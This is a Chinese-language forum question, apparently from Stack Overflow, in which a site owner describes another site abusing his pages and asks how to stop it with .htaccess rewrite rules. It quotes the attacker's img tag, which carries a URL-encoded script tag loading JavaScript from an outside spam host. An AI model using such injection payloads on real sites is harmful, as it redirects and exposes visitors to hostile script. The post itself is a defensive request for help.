【发布时间】:2016-07-10 08:25:14
【问题描述】:
一个恶意网站正在使用 img 标签在我的网站中插入重定向脚本。
我阻止了重定向using strip_tags(),但该站点正在消耗我的所有带宽。
他使用的代码是:
<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>
我尝试添加此代码以阻止 img 热链接,但由于 img 链接中没有扩展名,它不起作用:
RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]
我想在 img 标签中使用我的域重定向所有网站
<img src="http://mywebsite.com/ANYTHING-HERE"/> 到 mywebsite.com
如何使用 .htaccess?
【问题讨论】:
标签: php html apache .htaccess redirect